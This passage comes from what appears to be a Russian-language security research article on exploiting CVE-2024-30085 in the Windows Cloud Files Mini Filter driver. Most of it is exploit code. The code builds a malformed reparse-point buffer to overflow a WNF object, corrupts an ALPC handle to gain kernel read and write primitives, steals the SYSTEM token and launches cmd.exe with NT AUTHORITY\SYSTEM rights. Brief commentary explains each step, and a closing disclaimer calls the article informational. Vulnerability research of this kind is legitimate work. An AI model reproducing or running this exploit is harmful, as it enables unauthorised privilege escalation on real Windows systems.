    pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;

    pReparseCldBuffer->Items[9].Code = 0xa;
    pReparseCldBuffer->Items[9].Size = 0x4;
    pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;

    pReparseCldBuffer->ItemData0 = 0x0; // <=1
    pReparseCldBuffer->ItemData1 = 0xffffffe5;
    pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
    pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
    pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
    pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
    pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}

void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
    bitmap->Tag = 0x70527442;
    bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
    bitmap->Flags = 0x2;
    bitmap->NumBtmpItems = 0x5;

    bitmap->Items[0].Code = 0x7;
    bitmap->Items[0].Size = 0x1;
    bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;

    bitmap->Items[1].Code = 0x7;
    bitmap->Items[1].Size = 0x1;
    bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;

    bitmap->Items[2].Code = 0x7;
    bitmap->Items[2].Size = 0x1;
    bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;

    bitmap->Items[3].Code = 0x6;
    bitmap->Items[3].Size = 0x8;
    bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;

    bitmap->Items[4].Code = 0x11;
    bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
    bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;

    bitmap->ItemBtmpData0 = 0x1; // <= 1
    bitmap->ItemBtmpData1 = 0x13; // <= 0x13
    bitmap->ItemBtmpData2 = 0x0; // = 0

    bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter

    bitmap->wnfData.header = 0x00100904;
    bitmap->wnfData.allocated_size = 0x2000;
    bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0  - legit Wnf data size 0x10 - overflow
    bitmap->wnfData.change_stamp = 0x1;


    bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}

DWORD ReparseDataBufferLength = 0x4000;
 PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
 memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
 createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);

 PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
 PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
 createBitmap(bitmap0);

 pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);

Триггерим переполнение:

trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));

Удаление папки dir необходимо, потому что в случае неудачи система рухнет и будет падать при последующих перезагрузках. А задержка нужна, чтобы дать время произойти переполнению.

Далее происходит поиск захваченного объекта _WNF_NAME_INSTANCE:

INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);

if (wnfCorruptedNameIndex == -1) {
    printf("[-] Corrupted Wnf are not found\n");
    return -1;
}

printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);

После чего подменяем нулевой хэндл в таблице _ALPC_HANDLE_ENTRY:

BYTE* fakeReserve = AlpcGetFakeMessage();

UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);

memset(corruptAlpc.data(), 'W', wnfOriginalDataSize);
*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve;

// corrupt Alpc handle
if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) {
    printf("[-] wnfRelativeWrite failed\n");
    return -1;
}

И применяем технику Token Stealing в финале:

// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);

ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);

if (!systemTtoken) {
    printf("[-] System TOKEN are not found\n");
    return -1;
}

printf("[+] System TOKEN: %p\n", systemTtoken);

ULONG_PTR targetToken = EPROCaddr + tokenOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8);
payload[0] = systemTtoken;

// replace target token with system token
BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works

STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };

BOOL bRet = CreateProcess(
    "C:\\Windows\\System32\\cmd.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &StartupInfo,
    &ProcessInformation
);
if (!bRet) {
    printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
    return -1;
}

Слить адреса токенов можно через метод NtQuerySystemInformation. Пример есть у Нассима. А результат успешной работы эксплойта выглядит так.

Рисунок 18. Демонстрация работы
Рисунок 18. Демонстрация работы

Результат

В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.

Теги:
Хабы:
Всего голосов 25: ↑25 и ↓0+29
Комментарии4

Публикации

Информация

Сайт
www.ptsecurity.com
Дата регистрации
Дата основания
2002
Численность
1 001–5 000 человек
Местоположение
Россия